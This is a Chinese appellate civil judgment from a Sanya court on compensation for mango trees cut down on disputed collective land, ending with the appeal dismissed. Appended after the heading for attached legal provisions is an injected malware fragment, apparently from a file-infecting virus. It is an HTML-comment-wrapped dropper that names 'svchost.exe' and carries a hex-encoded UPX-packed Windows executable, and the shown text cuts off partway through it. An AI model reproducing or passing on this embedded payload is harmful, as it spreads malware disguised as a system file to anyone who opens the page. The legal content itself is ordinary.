海南省三亚市中级人民法院
p t ; ” > 民 事 判 决 书
（2016）琼02民终1331号
上诉人（原审原告）：三亚荣泰新型建材有限公司，住所地三亚市吉阳镇大道高新技术产业园区。
法定代表人：张其超，该公司董事长。
委托诉讼代理人：张晓辉，海南中邦律师事务所律师。
委托诉讼代理人：周靓，海南中邦律师事务所实习律师。
被上诉人（原审被告）：三亚市吉阳区田独村民委员会第三村民小组，住所地三亚市吉阳区田独村。
负责人：胡文锋，该组组长。
被上诉人（原审被告）：三亚市吉阳区田独村民委员会第五村民小组，住所地三亚市吉阳区田独村。
负责人：李庆勇，该组组长。
被上诉人（原审被告）：三亚华英聚能实业有限公司，住所地三亚市吉阳区迎宾路。
法定代表人：王滨，该公司执行董事。
第三人（原审第三人）：三亚市吉阳区田独村民委员会，住所地三亚市吉阳区田独村。
法定代表人：罗武清，该村民委员会主任。
上诉人三亚荣泰新型建材有限公司（以下简称荣泰公司）因与被上诉人三亚市吉阳区田独村民委员会第三村民小组（以下简称田独三组）、三亚市吉阳区田独村民委员会第五村民小组（以下简称田独五组）、三亚华英聚能实业有限公司（以下简称华英公司）、第三人三亚市吉阳区田独村民委员会（以下简称田独村委会）财产损害赔偿纠纷一案，不服三亚市城郊人民法院(2016)琼0271民初2063号民事判决，向本院提起上诉。本院依法组成合议庭审理了本案。本案现已审理终结。
荣泰公司上诉请求：1、撤销（2016)琼0271民初2063号民事判决,依法改判支持荣泰公司的诉讼请求；2、本案一、二审诉讼费用由田独三组、田独五组、华英公司承担。事实和理由：一、原判决认定事实错误。（一）关于诉讼请求的问题。原判决对于荣泰公司主张的被砍芒果树的数量认定为350株，经济损失为52.5万元。这一认定没有按照荣泰公司在本案中于2014年一审开庭前做了变更诉讼请求的事项确认，庭审中法官特别释明荣泰公司以及在法庭调查过程中询问荣泰公司对荣泰公司诉讼请求中被砍伐芒果树的数量以及经济损失以何为准？荣泰公司明确表示以鉴定结论确定的被砍伐的亩数28.8亩以及每亩科学种植数量40株相乘得出的数量为准，法官在调查中又询问荣泰公司：”2014年8月17日向三亚市中级人民法院出具的书面《关于三亚荣泰新型建材有限公司被砍伐芒果树株数的确认》(以下简称《确认书》)确认的芒果树是996株，最终主张以何数量为准”，荣泰公司明确回答以出具的书面《确认书》确认的996株为准。就这项诉讼请求的赔偿数额应为996株×每株800元（实际损失），共计79.68万元。但此案发回重审后，就此事项，原审法院未核实清楚本案的诉讼请求。（二）关于荣泰公司申请鉴定地块是被砍伐芒果树地块问题。1.本案在发回重审之前，荣泰公司已经就被砍伐芒果树地块的面积申请了鉴定，三亚合利测绘服务有限公司（以下简称合利公司）出具的三测鉴20150608号《司法技术鉴定报告》得出被砍伐芒果树地块面积为28.8亩。此案发回重审后，法院在审理过程中，华英公司对原鉴定结论不予认可，按照最高人民法院《关于民事诉讼证据的若干规定》第27条之规定，应当由异议人申请重新鉴定，但原审法院却再次释明要求荣泰公司申请重新鉴定，也不告知任何理由。荣泰公司再次申请鉴定，同样还是由合利公司鉴定，并出具三测鉴20160612号《司法鉴定报告书》，此报告与三测鉴20150608号《司法技术鉴定报告》的鉴定结果没有区别。《关于民事诉讼证据的若干规定》第27条第二款规定:”对有缺陷的鉴定结论，可以通过补充鉴定、重新质证或者补充质证等方法解决的，不予重新鉴定”，原审法院再次要求荣泰公司申请鉴定，鉴定的结果几乎没有变更,只是增加了两个内容:①面积4光缆线为54=239.58平方米，合0.36亩;②说明：地块是否为砍伐芒果树地块，由法院现场查证。但一审法院在判决书中却对该鉴定结论采纳与否没有认定，也未说明理由。2.合利公司出具的三测鉴20160612号《司法鉴定报告书》的鉴定结论中，所测出被砍伐芒果树地块的面积是10.00亩+4.30亩+14.5亩+0.36亩，共计29.16亩，在对该鉴定报告进行质证的过程，荣泰公司已经明确表示减去光缆线面积0.36亩，即认定被砍伐芒果树地块面积为28.8亩，但原审法院判决书第13页第4行认定荣泰公司主张了29.16亩，没有减去该部分面积(光缆线所占面积0.36亩)。3.合利公司出具的三测鉴20160612号《司法鉴定报告书》明确说明对于该地块是否为被砍伐芒果树地块，由法院现场查证。原审法院没有进行现场查证。其实，根据华英公司的自认，以及荣泰公司提供的果树被砍前和砍后的照片等相关证据，足以认定鉴定地块就是被砍伐芒果树地块，但原审法院既未现场查证，也未认定，却根据华英公司自认砍伐了10株芒果树，判决赔偿10株芒果树的损失，显然是不公平的。综上所述，本案当中关于被砍伐芒果树地块面积进行鉴定，其鉴定的结论，华英公司没有任何证据予以推翻，法院应当采信该证据，但原审法院未采信，却没有表述任何未采信的理由，反而要求荣泰公司必须重新申请鉴定，鉴定结论却未作为认定本案事实的证据。（三）关于被砍芒果树的数量问题。原判决认定被砍伐的芒果树的数量为华英公司自认的10株，对荣泰公司主张实际被砍伐的芒果树的数量所提供的证据以及鉴定结论不予采纳，导致对被砍芒果树的数量这一事实问题形成错误认定。1.荣泰公司所提供的证据，能够证明荣泰公司实际拥有的芒果树为2800株，华英公司砍伐后，对剩余芒果树的数量进行了清点,剩余1804株，得出砍伐的数量为996株。证据为：①2009年12月29日荣泰公司与三亚东成农业开发有限公司签订的《协议书》明确该宗土地每亩40株芒果树,每株单价800元，共计2800株；②《司法鉴定报告书》中也得出涉案被砍伐芒果树的土地面积为28.8亩；③荣泰公司根据三亚市中级人民法院的要求进行了清点，并出具了《关于三亚荣泰新型建材有限公司被砍芒果树株数的确认》,确认被砍芒果树株数为996株；④荣泰公司提交的芒果树被砍伐前和砍伐后的现场对比照片，即使图片不能反映全部被砍伐的芒果树的数量，但也能够看出被砍伐的芒果树远远不止原审法院所认定的10株。2.按常理，每亩土地种植多少棵芒果树是有科学依据的，这一点三亚市中级人民法院经咨询三亚农业技术部门专家，确认芒果树的科学种植数量是每亩40株左右，并向三亚市城郊法院出具了（2014）三中法技委鉴字第161-3号《函》；以及2009年12月荣泰公司也是按每亩40株标准从东成公司处购得芒果树共计2800株。按照《关于民事诉讼证据的若干规定》第九条规定，对于众所周知的事实、根据日常生活经验法则能推定出的另一事实属于当事人无需举证证明的事项，除非当事人有相反证据能够证明。每亩种植40株芒果树是一种生活经验法则，根据这一经验法则与实际测量出来的土地面积推定出来的所受损失的这一事实无需荣泰公司举证证明，而如果华英公司不认可，应当提供足以推翻该经验法则的相反证据。3.在华英公司于2012年9月份砍伐了芒果树后，华英公司与荣泰公司因土地承包合同纠纷诉至城郊法院，荣泰公司于2012年11月立即向原审法院申请现场勘验，但是原审法院没有采取任何措施，导致被砍伐芒果树地块现场被华英公司破坏（推平），使得华英公司有机会矢口否认被砍伐芒果树的数量。4.根据2013年1月22日三亚市城郊人民法院就土地承包合同纠纷反诉侵权一案第一次开庭的庭审笔录第15页第6行的记载，经法官询问被砍伐的芒果树数量大概有多少，华英公司回答的是”应该有150株至200株”。就此问题，三亚市中级人民法院于2015年11月17日就此案开庭审理时，对华英公司自认的每亩土地砍伐了30株，法官专门进行了详细地询问，华英公司并没有否认。按照这两次开庭笔录中华英公司的回答，可以认定被砍伐的芒果树最少也有150-200株，而不是原审法院认定的10株。综上，根据荣泰公司提供的证据、日常生活经验法则推定出来的事实以及华英公司的自认，形成了证据链。据此，可以认定这些被砍伐的芒果树面积为28.8亩，对应旁边成活的每亩芒果树数量以及按照科学种植方式每亩40株,即28.8亩x40株/亩=1152株。原审法院认定被砍伐的芒果树仅为10株有误。（四）关于被砍芒果树的价值问题。1.原审法院依据司法鉴定认定每株芒果树的补偿价格为454元,而司法鉴定确定的赔偿标准依据是《海南省征地青苗及地上附着物补偿标准》,荣泰公司对此鉴定报告的结论提出了异议，认为《海南省征地青苗及地上附着物补偿标准》中明确规定，青苗及地上附着物补偿标准是国家征收农民集体所有土地时给予的经济补偿标准，华英公司既不是国家政府机关，也不属于征地行为，而是非法砍伐的侵权行为。对于侵权行为，侵权人应当承担赔偿责任，而非承担补偿责任。2.原审法院判决认定华英公司砍伐芒果树的行为构成侵权，对于侵权行为的赔偿责任承担应当依据《中华人民共和国侵权责任法》第19条规定”侵害他人财产的，财产损失按照损失发生时的市场价格或者其他方式计算”。而2009年12月29日荣泰公司与三亚东成农业开发有限公司签订的《协议书》中明确约定，荣泰公司向三亚东成农业开发有限公司赔偿标准为每株芒果树800元。华英公司砍伐芒果树的侵权行为发生时的芒果树的市场价格也应认定为不低于每株800元。一审法院判决以每株芒果树454元为赔偿标准实为不妥。3.原审判决认定：”庭审中，荣泰公司和华英公司均认可芒果树补偿价格为454元/株”，事实是原审法院2016年4月13日开庭时，法官询问：”关于海南盛瑞美林资产评估事务所出具的盛瑞美林所评报字[2014]1002号《资产评估报告书》对被砍伐芒果树价值所做的鉴定，是否重新鉴定”，双方当事人表示无需重新鉴定，荣泰公司明确表示该芒果树的价值为454元/株是政府补偿价格,而不是侵权的赔偿价格,不能以鉴定结论中的补偿价格454元/株为赔偿标准。（五）关于田独村委会第三组、第五组连带责任问题。原审判决”因荣泰公司未提供证据证明田独三组、田独五组实施了砍伐行为,应承担连带责任的诉求不予支持”的认定，是不符合事实的，理由如下：1.荣泰公司已提供了2013年1月22日三亚市城郊人民法院就土地承包合同纠纷反诉侵权一案第一次开庭的庭审笔录、三亚市中级人民法院于2015年11月17日开庭的庭审笔录等证据，田独三组、田独五组自始至终都承认实施了砍伐行为。2.砍伐芒果树的行为是因华英公司和田独村委会第三组、第五组签订的《土地联营协议》形成的侵权行为，具体实施砍伐行为除了华英公司本身外,在开庭时华英公司只承认砍伐了一部分的芒果树，其余部分为田独村委会第三组、第五组的村民砍伐，根据《中华人民共和国侵权责任法》第八条的规定，华英公司及田独村委会第三组、第五组应当承担共同赔偿损失的连带责任。
二、原判决违反法定程序。（一）关于原审法院审理范围问题。本案荣泰公司的诉请是请求侵权赔偿，撤回了对确认华英公司于2012年3月8日签订的《土地联营协议》无效的请求，原审法院应当按照荣泰公司的诉请进行审理并查明事实，但是原审法院的判决书的审理查明部分的内容却完全抄录了（2014)城民二初字第276号民事判决第7页第13行至第9页第16行的查明事实部分，(2014)城民二初字第276号民事判决该部分又完全抄录了该院（2014)城民一重字第2号民事判决的内容，基于另一案件(2014)城民一重字第2号民事判决所认定的内容来认定本案的事实，而（2014)城民一重字第2号民事判决认定涉及的是《土地联营协议》效力和《土地承包协议》解除的事实关系，与本案的侵权行为有无关联。就本案而言，原审法院应当围绕荣泰公司的诉请作出认定即可，华英公司对砍伐荣泰公司拥有的芒果树的事实予以认可，虽然原审法院也对华英公司砍伐荣泰公司拥有的芒果树的这一行为确认为侵权，但原审法院在判决书认定事实方面以抄录另一案件判决书所认定的事实，没有体现出本案侵权行为的基本事实。（二）关于举证责任的问题。1.原审法院认定被砍伐芒果树数量时，按照华英公司自认的情况酌定为10株，而对荣泰公司提供的证明被砍伐芒果树数量的证据不予采纳，这种做法违反《关于民事诉讼证据的若干规定》，理由如下：（1）荣泰公司为了证明自己所遭受的损失，除了提供了多份证据外，还按照三亚市中级人民法院要求做了一次清点并出具了《确认书》，以及2次《司法技术鉴定报告》可以证明被砍伐的芒果树所占的土地面积，再依据生活经验法则完全可以推算出荣泰公司所受损失，但是原审法院在开庭时仍要求荣泰公司再次提供证据证明所受损失。这是违反《关于民事诉讼证据的若干规定》第二条之规定”当事人对于自己提出的诉讼请求所依据的事实或者反驳对方诉讼请求所依据的事实有责任提供证据加以证明，没有证据或者证据不足以证明当事人的事实主张的，由负有举证责任的当事人承担不利后果”，从该条规定中可以看出，一方当事人提供证据后，另一方对其提供的证据有异议而进行反驳的，应当由另一方提供反驳的证据。因此，在荣泰公司已经提供了证据之后，华英公司对该证据不予认可时应当提供反驳的依据，否则应当承担不利后果。（2）对于侵权事实存在但损害数额难以确定时，参照最高人民法院审理类似案件的倾向性意见，即法官可以结合一些间接证据和案件其他事实,遵循法官职业道德,运用逻辑推理和日常生活经验，进行自由心证，适当确定侵权人应当承担的赔偿数额。本案中，荣泰公司提供了证据证明了华英公司侵犯荣泰公司财产权，而且华英公司也自认其砍伐了荣泰公司的芒果树，侵权事实确实存在，只是在损害数额方面没有直接证据予以证明，但是根据生活经验，一亩地上可以种植大约40株芒果树；运用逻辑推理，华英公司在该宗土地上修建板房、围墙的面积，不可能只种植10株芒果树，这不符合常理。但是原审法院却根据华英公司自认砍伐了10株芒果树进行认定，是完全无视生活经验法则作出的判决，是不公正的。2.关于自认的问题。华英公司在三亚市城郊人民法院2013年1月22日三亚市城郊人民法院就土地承包合同纠纷一案第一次开庭时,已经承认其砍伐了150-200株，有庭审笔录佐证。但在2015年11月17日三亚市中级人民法院庭审中，却以”是当时的代理人和当时的组长出庭的，且说的是150-200平不是150-200棵”为由否认了之前的自认，原审法院认可华英公司自认的事实，具有偏向性，理由如下：（1）根据《关于民事诉讼证据的若干规定》第8条第3款的规定：”当事人委托代理人参加诉讼的，代理人的承认视为当事人的承认。但未经特别授权的代理人对事实的承认直接导致承认对方诉讼请求的除外，当事人在场但对其代理人的承认不做否认表示的，视为当事人的承认”。华英公司以是当时的代理人和当时的组长出庭的这一抗辩理由是不能否认之前的自认的。（2）自认一经作出，对当事人和法院都会产生拘束力，当事人不能随意撤回自认或者再做相反的主张,以”说的是150-200平不是150-200棵”为由否认之前的自认不属于《关于民事诉讼证据的若干规定》第8条第4款以及第74条规定的特殊情况，应当以华英公司第一次的自认为准。（3）原审法院采纳了华英公司的自认，对荣泰公司提供的华英公司第一次自认的证据没有予以采纳，根据《中华人民共和国民事诉讼法》的相关规定，对于不予采纳的证据，法院应当说明理由，但是原审法院却没有说明理由，直接以华英公司的自认来认定被砍伐芒果树的数量。综上，原判决对荣泰公司提供能够支持荣泰公司诉求的主要证据没有列明。况且，整个判决书对于双方当事人提供的证据采信与否，没有说明任何理由，违反了《关于民事诉讼证据的若干规定》第七十九条的规定：”人民法院应当在裁判文书中阐明证据是否采纳的理由”。据此，为维护荣泰公司的合法权益，特向贵院提起上诉，请依法支持荣泰公司的上诉请求。
田独三组、田独五组共同辩称，一、涉案土地是我们三组、五组的土地，芒果树是我们村民种的。三亚市农业开发公司1989年承包涉案土地时，我们村民入了股，一起种植了芒果树，并且有约定。2002年转包给三亚东成农业开发有限公司时，连芒果树一起转包了过去进行种植，当时也有约定。荣泰公司2006年承包土地时，瞒着村委会、三组、五组，把青苗及地上附着物赔偿款支付给了三亚东成农业开发有限公司，没给村民农户种植户一分钱，现在，芒果树成了他的，还让村民赔偿，法理不通。二、荣泰公司主张的其果树赔偿数量，完全是捏造事实，从2013年至今，三家鉴定机构、四次对涉案土地测量、鉴定后都否定了荣泰公司提出的赔偿数量，而荣泰公司出示的照片，不知道是从哪里的，我们不认可。我们种了多少树，哪里种哪里没种，我们自己很清楚，荣泰公司没有证据证明他们的损害赔偿主张。三、2006年至今，荣泰公司和我们签定《土地承包合同书》己十年之多，由于村民们等着荣泰公司履行合同约定，十年来芒果树根本无人打理，台风、鼠患、虫害、自然死亡、人为砍伐屡屡发生，荣泰公司反复无常的损害赔偿主张毫无真实性可言。至于说荣泰公司指的本案首次一审时，”三组、五组”的委托代理人所说的150到200，那是法官试图调解双方对赔偿数量的认同时的对话，荣泰公司却偷换概念在上诉状中说成是被砍的芒果树的数量。况且，该委托代理人所说的”应该”，只是一种推测，荣泰公司却企图以此来作为认定其赔偿数量的依据是没有事实依据的。此外，荣泰公司要求”三组、五组”赔偿，却没有证据证明村民砍伐芒果树，应予以驳回。因此，请求驳回荣泰公司的上诉请求。
华英公司辩称，一、荣泰公司提出的损害赔偿请求于法无据，于理不通。涉案土地为村民集体所有，涉案芒果树为村民集体种植，荣泰公司没有证据证明其为芒果树的权利人，也没有证据证明案外人三亚东成农业开发有限公司为芒果树的权利人。本案涉及到的三亚东成农业开发有限公司和荣泰公司擅自对三组、五组的土地所有权和土地上的芒果树及附着物进行处置，不仅违法，也违反了该两家公司和田独村委会及三、五组签订的《土地转包合同》、《土地承包补充合同书》、《土地承包合同书》的相关约定。二、荣泰公司提出的赔偿请求无法律依据和事实根据，芒果树受损数量是荣泰公司杜撰出来的。根据荣泰公司于2012年9月7日向三亚市公安局报案时的回执单，被砍芒果树的数量为500株；同年，荣泰公司作为原告向城郊法院起诉时的数量是350株；法庭审理期间，荣泰公司又追加补充为800株；鉴定机构测量完涉案土地面积后，荣泰公司向法庭出具了一份自拟的《确认书》，数量增加到了996株。首次一审吉阳法庭、原审法院和重审一审法院对本案中所谓的”财产损害数量”于2013年、2014年、2015、2016年分别请三亚市中级人民法院委托了三家鉴定机构进行了四次司法鉴定，三家机构对被鉴定物的四次鉴定均否定了荣泰公司在诉求中提出的损害赔偿数量，且证明原告提出的损害赔偿数量毫无真实性。综上，请求驳回荣泰公司的诉讼请求。
荣泰公司向一审法院起诉请求：1、田独三组、田独五组与华英公司共同连带向荣泰公司赔偿擅自砍伐荣泰公司芒果树的经济损失525000元(共砍伐芒果树350株，每株1500元)；2、田独三组、田独五组与华英公司承担本案诉讼费。
一审法院查明：2002年3月6日，田独三组、田独五组与农业公司及东成公司签订《土地转包合同》，田独三组、田独五组同意农业公司将其于1989年9月1日与田独三组、田独五组签订《土地承包合同》承包位于三亚市××区)两边的两块地转包给东成公司，面积约为四百亩，第一块位于吉阳大道西边，第二块位于吉阳大道东边。以上两块地在三亚市人民政府于2004年12月1日颁发给田独村委会的土地证[证号：田独镇集有(2004)第1665号]记载的土地范围内。2006年3月25日，田独村委会与荣泰公司签订《土地承包合同书》约定，田独村委会将东成公司承包的以上第二块土地中划出100亩(以实际丈量面积为准)土地给荣泰公司承包，经营工业项目，承包年限为50年，自2006年6月1日起至2056年5月31日止；荣泰公司应付承包金每年每亩700元，于每年的6月1日前一次性付清当年承包金，逾期则按欠款额每日万分之三计付滞纳金，拖欠租金超过一年，则合同自行终止；合同经与东成公司种植户处理好青苗赔偿后方可生效；田独村委会配合相关部门清点地面上的青苗及附着物的赔偿工作，经荣泰公司确认，荣泰公司将补偿款直接支付给种植户；自合同签订之日30日内，农户及承包主把土地上芒果等青苗及附着物清理完毕；清理完毕之日，荣泰公司付第一年的承包金。该合同有田独三组组长、田独五组组长及三分之二以上村民代表签名同意，三亚市田独镇(现吉阳区)人民政府盖章确认。该地上除有东成公司种植的芒果树外，还有部分由当地村民种植的其他农作物。合同签订后，荣泰公司于2006年6月对村民的青苗进行清点，但一直没有赔偿。2007年12月18日，田独村委会与荣泰公司签订《补充合同书》注明，因芒果种植户不配合项目征地补偿工作，田独村委会土地无法按期承包给荣泰公司，双方无法正式履行合同条款，致使第一年租金无法支付，无法确定每年交款日期，双方因此签订该补充合同。该合同约定：荣泰公司向村委会先付一年承包金70000元，何时移交土地给荣泰公司使用，承包金就从何日算起；双方应以书面方式确认开始计收承包金日期和确认每年交款日期。该补充合同有田独三组组长、田独五组组长签名同意，三亚市田独镇人民政府盖章确认。补充合同签订后，荣泰公司当天向田独三组、田独五组支付第一年承包金70000元，东成公司不再交租金。因青苗赔偿工作未完成，土地一直未移交给荣泰公司使用，荣泰公司也一直未缴纳土地承包金。2009年10月15日，田独村委会在《三亚晨报》上刊登《通知》，称由于荣泰公司拖欠租金长达一年以上，田独村委会决定依约解除与荣泰公司的《土地承包合同》，请荣泰公司在15日内派员到田独村委会商议解约之相关事宜。2009年12月29日，荣泰公司与东成公司签订《协议书》，约定由荣泰公司赔偿涉案承包地上的青苗及附着物258万元给东成公司，自协议签订之日起七个工作日内支付100万元，余款在2010年1月30日前付清，逾期则按千分之一计息。双方约定协议签订之日起东成公司承包的土地及地上附着物归荣泰公司承包和所有。2010年1月6日和2011年4月20日荣泰公司向东成公司支付青苗赔偿款100万元和158万元(其中10万元为逾期付款利息)，共计258万元。2011年11月20日，涉案土地变更登记在田独三组、田独五组的名下(证号：［2011］第0021号，宗地图号：19-12-514，面积：88.041亩)。2012年3月8日，田独三组、田独五组与华英公司签订《土地联营协议》，约定田独三组、田独五组将涉案土地作为出资与华英公司联营，共同开发建设汽车交易市场，联营期限30年。该协议有田独三组组长、田独五组组长及三分之二以上村民代表签名同意及田独村委会和三亚市吉阳镇人民政府盖章同意。该协议签订后，华英公司砍伐涉案土地上农作物，并进行项目建设，荣泰公司即进行干涉阻挠，双方因此产生纠纷。2012年9月7日，荣泰公司曾向三亚市公安局报案陈述有500株芒果树被砍，三亚市公安局于2012年11月29日出具的《公安机关处理信访事项答复意见中》称”你单位2012年9月18日反映，你公司位于吉阳镇田独村委会地界约300株芒果树被违法犯罪分子砍伐”，并建议通过民事诉讼途径解决。田独三组、田独五组于2012年11月7日向法院提起诉讼，请求判令解除2006年3月25日荣泰公司与田独村委会、田独三组、田独五组签订的《土地承包合同书》。本院作出（2014）城民一重字第2号民事判决书判决解除该合同。荣泰公司不服上诉至三亚市中级人民法院，该院判决驳回上诉，维持原判。庭审中，华英公司承认在2012年9、10月份砍伐了8-10棵左右芒果树。荣泰公司和华英公司均认为不需要对芒果树的价值重新鉴定，认可每株芒果树价值454元，并认可每亩芒果地的科学种植数量为40棵左右。
案件审理过程中，荣泰公司申请对”三亚市亨新大道边100亩土地上芒果树的受损情况和受损价值”进行勘验和鉴定，具体对以下内容进行鉴定：1、对该宗土地上被砍伐芒果树所占的土地面积进行现场实地测绘、勘验，计算出被砍伐的芒果树的实际土地面积；2、对该宗土地上被砍伐芒果树周边现有芒果树所占的土地面积以一亩为计算单位，进行现场实地测绘、勘验，计算出一亩土地上应该有多少棵芒果树，或者按照林业部门每亩土地种植芒果树的规范标准，科学地计算出每亩土地的芒果树数量；3、对该宗土地上现有的芒果树数量进行清点（包括存活的和死亡的芒果树）。经三亚市中级人民法院委托鉴定，三亚合利测绘服务有限公司作出三测鉴20160612号《司法技术鉴定报告》，作出鉴定结论：三亚市亨新大道以南的地块需要测量的土地面积为：1、面积1为：S1=6666.23平方米，合10.00亩；2、面积2为：S2=2867.54平方米，合4.30亩；3、面积3为：S3=9666.19平方米，合14.5亩；4、面积4光缆线为：S4=239.58平方米，合0.36亩；5、说明：以上地块是否为砍伐芒果树地块，由法院现场查证。庭审中，荣泰公司主张根据鉴定得出的面积29.16亩（10.00亩+4.30亩+14.5亩+0.36亩）即为被三被告砍伐的芒果树面积。华英公司、田独三组、田独五组对此均不予认可，认为《司法技术鉴定报告》鉴定出的被砍伐芒果树土地面积并不准确，且该地块是否为砍伐芒果树的地块鉴定机关亦没有明确，另外，并非全部的芒果树由其砍伐，该地块上仍有存活的芒果树，自然死亡和灾害死亡的芒果树也没有计算出来，不应全部算到其砍伐的范围。
一审法院认为：关于荣泰公司主张的芒果树所有权问题。（2014）三亚民一终字第814号判决书的审理查明部分已经认定涉案土地上除有东成公司种植的芒果树外，还有部分由当地村民种植的其他农作物。从该事实的认定可以看出，涉案土地上的芒果树是东成公司种植的，而东成公司于2009年12月29日与荣泰公司签订《协议书》，由荣泰公司赔偿涉案土地上的青苗及附着物258万元给东成公司。双方约定协议签订之日起东成公司承包的土地地上附着物归荣泰公司所有。协议签订后，荣泰公司按约支付了258万元，故涉案土地上的东成公司种植的芒果树应归荣泰公司所有。
关于芒果树的实际受损情况及赔偿责任。三测鉴20160612号《司法技术鉴定报告》测量的土地面积为29.16亩（10.00亩+4.30亩+14.5亩+0.36亩），并在第5点中说明：以上地块是否为砍伐芒果树地块，由法院现场查证。言下之意，即鉴定机关虽然测量出三亚市亨新大道以南的地块面积，但该地块是否全部或哪部分为被砍伐的芒果树的面积无法确定，仍需要法院进行查证。荣泰公司认为测量出的面积29.16亩全部为被砍伐的芒果树面积，对此，田独三组、田独五组与华英公司均不予认可。根据已经生效的（2014）三亚民一终字第814号判决书的审理查明部分认定，涉案土地上有部分是当地村民种植的其他农作物，该部分的面积不应计算在被砍伐的芒果树面积内，但《司法技术鉴定报告》对这部分的面积未进行明确。依照《国务院、中央军委关于保护通信线路的规定》第七条第（5）项关于”......在市区外电缆两侧各二米、在市区内电缆两侧各零点七五米的范围内，不准植树、种竹”的规定，国防光缆两侧各二米的范围内不得种植树木。庭审中，荣泰公司承认该光缆修建时间在承包前就已经修建，且在光缆两侧二米以内是没有芒果树的，而鉴定报告并未将S4中光缆两侧二米的距离计算在S4的0.36亩面积内，荣泰公司也不应将光缆的面积计算在被砍伐的芒果树面积之内。另，对于涉案地块上现有的芒果树数量《司法技术鉴定报告》亦无法做出，双方当事人对此也未能提供证据予以证明，故无法确定芒果树的受损情况，亦无法查证鉴定地块是否为砍伐芒果树地块。另外，荣泰公司于2012年9月7日向三亚市公安局报案时称约有500棵芒果树被砍伐，三亚市公安局于2012年11月29日出具的《公安机关处理信访事项答复意见中》称”你单位2012年9月18日反映，你公司位于吉阳镇田独村委会地界约300株芒果树被违法犯罪分子砍伐”，而荣泰公司民事诉状则称被砍伐芒果树350棵，以上情况说明，按荣泰公司主张一亩地种植40棵芒果树的标准计算，砍伐芒果树的亩数最多不超过12.5亩（500÷40棵/亩），与《司法技术鉴定报告》测量所得的29.16亩结果相差甚远。综上，《司法技术鉴定报告》系有资质的鉴定机构进行鉴定，程序合法，内容真实客观，本院予以采信。但该报告的鉴定结论不明，无法明确实际被砍伐的芒果树面积和芒果树受损情况，故不能做为本案的定案依据。荣泰公司未能提供新的证据证明29.16亩全部为被砍伐的芒果树面积，也未能提供证据证明被砍伐的芒果树数量，应承担举证不能的不利后果，荣泰公司主张田独三组、田独五组、华英公司向其赔偿砍伐芒果树的经济损失525000元，缺乏事实根据，本院不予采纳。
庭审中，荣泰公司和华英公司均认可芒果树补偿价格为454元/株，且华英公司承认在2012年9、10月份砍伐了8-10棵左右芒果树，故本院仅能根据华英公司自认的情况酌定华英公司砍伐的芒果树数量为10棵，价植为4540元，此款华英公司应当赔偿给荣泰公司。因荣泰公司未提供证据证明田独三组、田独五组实施了砍伐行为，应承担举证不能的法律后果，故对其主张田独三组、田独五组承担连带责任的诉求不予支持。田独村委会经本院依法传唤未到庭参加诉讼，视为其放弃抗辩权利。依照《中华人民共和国民法通则》第一百一十七条第二款，《中华人民共和国物权法》第三十七条，《中华人民共和国民事诉讼法》第一百四十四条，《最高人民法院关于民事诉讼证据的若干规定》第二条之规定，判决：一、华英公司应向荣泰公司赔偿芒果树损失人民币4540元；二、前述赔偿义务限于判决发生法律效力之日起十日内履行完毕；三、驳回荣泰公司的其他诉讼请求。如果未按判决指定的期间履行给付金钱义务，应当依照《中华人民共和国民事诉讼法》第二百五十三条之规定，加倍支付迟延履行期间的债务利息。案件受理费4525元和鉴定费27000元（荣泰公司已预交），合计31525元，由荣泰公司负担31252元，由华英公司负担273元。
经审理查明：一审查明事实属实，本院予以确认。另查明，在本案诉讼过程中，荣泰公司提供了动态摄像，本院要求其在庭后7天内向法院提供补充证明，证明摄影是海南电视台提供的及摄影的过程和目的，并整理成书面材料，但荣泰公司未向本院提供补充证明。
本院认为，本案争议的焦点为关于荣泰公司诉求的砍伐芒果树的经济损失525000元（共砍伐芒果树350株，每株1500元）是否有事实和法律依据的问题。首先，经法院依法委托了三亚合利测绘服务有限公司作出了三测鉴20160612号司法鉴定技术报告。由于该鉴定报告的对三亚市亨新大道以南的四块地块鉴定结论测量的土地总面积为29.16亩（10.00亩+4.30亩+14.5亩+0.36亩），并在第5点中说明：以上地块是否为砍伐芒果树地块，由法院现场查证。从该鉴定的目的上来说，是为了证明荣泰公司诉求的砍伐芒果树的土地面积的事实，但从该鉴定结论的内容来看，未能得出砍伐芒果树的土地面积，且涉案土地上的现场已进行项目建设，法院无法查证被砍伐芒果树的地块面积，因此，该鉴定报告不能作为荣泰公司诉求被砍伐芒果树的土地面积的证据，并法院也无法查证被砍伐的芒果树的土地面积。其次，在本案诉讼过程中，荣泰公司提供了动态摄像，目的是证明被砍伐芒果树的数量和面积，本院要求其在庭后7天内向法院提供补充证明，证明摄影是海南电视台提供的及摄影的过程和目的，并整理成书面材料，但荣泰公司未向本院提供补充证明，据此，荣泰公司提供的动态摄像不能作为证明砍伐芒果树的数量和面积的证据使用。再次，本案在几次的诉讼过程中，荣泰公司所诉求的被砍伐芒果树的数量均不确定，且经过鉴定机构进行了司法鉴定，均无法确定被砍伐芒果树的数量，因此，荣泰公司诉求被砍伐芒果树的数量没有事实和理由等证据材料。最后，荣泰公司上诉主张2013年1月22日三亚市城郊人民法院（2012）城民一初字第3118号案庭审过程中，华英公司承认被砍伐忙股数数量为150株-200株，但华英公司、田独三组、田独五组对此主张不予认可，华英公司在本案一、二审审理过程中，均承认只砍伐了10株芒果树，因此，荣泰公司上诉主张华英公司承认砍伐芒果树150株-200株没有法律依据，不能成立，本院不予采纳。
根据以上分析可知，荣泰公司对于自己提出的事实没有提供相应的证据加以证明，因此，荣泰公司的诉求缺乏事实和法律依据，不予支持。一审法院认定事实清楚，适用法律正确，本院予以维持。依照《中华人民共和国民事诉讼法》第一百七十条第一款的规定，判决如下：
驳回上诉，维持原判。
二审案件受理费9050元，由上诉人荣泰公司负担。
本判决为终审判决。
审判长陈太洪
审判员扆成塘
审判员李新建
书记员罗瑛
附相关法律条文：
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E